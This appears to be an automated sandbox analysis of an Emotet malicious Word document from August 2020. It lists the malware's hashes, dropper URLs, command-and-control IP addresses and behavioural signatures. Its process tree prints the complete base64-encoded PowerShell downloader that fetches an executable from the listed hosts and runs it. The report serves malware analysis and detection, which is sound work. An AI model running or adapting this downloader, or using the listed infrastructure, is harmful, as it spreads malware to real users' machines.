Analysis
- max time kernel
135s - max time network
132s - platform
windows10_x64 - resource
win10 - submitted
17/08/2020, 11:53
General
- Target emotet_e1_1722f8015d90337f8829fb9890cf1c4d04a60dcd0ded0c9d1d8d070034ea423a_2020-08-17__115242._doc.doc
- Size 228KB
- Sample200817-cc12mx3xb2
- SHA256 1722f8015d90337f8829fb9890cf1c4d04a60dcd0ded0c9d1d8d070034ea423a
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/
-
exe.dropper
http://ocelliptigo.com/undrag/FRg446071/
-
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/HBh300/
-
exe.dropper
http://raiseways.com/wp-content/XwZGZ94507/
-
exe.dropper
http://m.sxhpzyy120.com/kfal/hKIpdkhdqU/
Extracted
-
emotet
-
45.173.88.33:80
-
209.126.6.222:8080
-
5.153.250.14:8080
-
77.90.136.129:8080
-
104.131.41.185:8080
-
190.190.148.27:8080
-
95.85.151.205:80
-
46.28.111.142:7080
-
91.222.77.105:80
-
80.249.176.206:80
-
83.169.21.32:7080
-
213.60.96.117:80
-
185.94.252.27:443
-
89.32.150.160:8080
-
12.162.84.2:8080
-
81.198.69.61:80
-
85.105.140.135:443
-
202.4.57.96:80
-
147.91.184.91:80
-
192.241.143.52:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1722f8015d90337f8829fb9890cf1c4d04a60dcd0ded0c9d1d8d070034ea423a_2020-08-17__115242._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABaADQAOABhAGwAMgBqAD0AJwBHAGQAawB3AHAAYgBrACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAYABVAHIASQBgAFQAWQBwAHIAYABvAFQAbwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFQAbQA3AGYAeABzAG4AIAA9ACAAJwBKAGcAdwBzACcAOwAkAE8AYQBnAHYANAA3ADAAPQAnAEkAdwByAHcAZQAyAGQAJwA7ACQAWgA1AGYAawB5ADcAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFQAbQA3AGYAeABzAG4AKwAnAC4AZQB4AGUAJwA7ACQAWQBiAGYAagB2ADUAYgA9ACcAUAA3AGgAegBjAHUAOAAnADsAJABGAGwAbAAxADgAMQBsAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMAbABpAGUAbgB0ADsAJABNAGsAcgB6ADAAaQAzAD0AJwBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AZABvAGMALwBmAFAASgB4AHUAOAAxAFQAdAAvACoAaAB0AHQAcAA6AC8ALwBvAGMAZQBsAGwAaQBwAHQAaQBnAG8ALgBjAG8AbQAvAHUAbgBkAHIAYQBnAC8ARgBSAGcANAA0ADYAMAA3ADEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBzAG8AbAB1AGMAbwBlAHMAdABpAC4AYwBvAG0ALwBSADkASwBEAHEAMABPADgAdwAvAEgAQgBoADMAMAAwAC8AKgBoAHQAdABwADoALwAvAHIAYQBpAHMAZQB3AGEAeQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWAB3AFoARwBaADkANAA1ADAANwAvACoAaAB0AHQAcAA6AC8ALwBtAC4AcwB4AGgAcAB6AHkAeQAxADIAMAAuAGMAbwBtAC8AawBmAGEAbAAvAGgASwBJAHAAZABrAGgAZABxAFUALwAnAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAawAxADkAdwBsAGgAPQAnAFUAeABfAHgAeAB6AHIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAcwBiAGMAcQA2AGIAIABpAG4AIAAkAE0AawByAHoAMABpADMAKQB7AHQAcgB5AHsAJABGAGwAbAAxADgAMQBsAC4AIgBEAGAAbwB3AG4AbABPAGEAYABEAEYASQBsAGUAIgAoACQAQwBzAGIAYwBxADYAYgAsACAAJABaADUAZgBrAHkANwByACkAOwAkAFkAeABvAGgAegByAHIAPQAnAFoAeABfADgAegBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABaADUAZgBrAHkANwByACkALgAiAGwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADAANgAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFoANQBmAGsAeQA3AHIAKQA7ACQAUgA1ADYAYQBmAGEAeAA9ACcAVAByADAANQBvADgANwAnADsAYgByAGUAYQBrADsAJABOADIAcABmAHoAZABsAD0AJwBaADAAXwBtAGwAMQB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAOAAwADcAeAB4ADMAPQAnAFQAbwAwAF8AdAA4AHYAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Jgws.exe"C:\Users\Admin\AppData\Local\Temp\Jgws.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rekeywiz\sfc.exe"C:\Windows\SysWOW64\rekeywiz\sfc.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1172-12-0x0000000000540000-0x000000000054C000-memory.dmp
memory/1468-15-0x0000000002060000-0x000000000206C000-memory.dmp
memory/2316-8-0x00000285E8800000-0x00000285E8801000-memory.dmp
memory/2316-7-0x00000285E8610000-0x00000285E8611000-memory.dmp
memory/2316-6-0x00007FFA144C0000-0x00007FFA14EAC000-memory.dmp
memory/3612-0-0x00007FFA1C590000-0x00007FFA1CC56000-memory.dmp
memory/3612-5-0x0000025E95EF2000-0x0000025E95EF6000-memory.dmp
memory/3612-4-0x0000025E95CF6000-0x0000025E95CF9000-memory.dmp
memory/3612-3-0x0000025E95CF9000-0x0000025E95D0A000-memory.dmp
memory/3612-2-0x0000025E95CF6000-0x0000025E95CF9000-memory.dmp
memory/3612-1-0x0000025E95CF9000-0x0000025E95D0A000-memory.dmp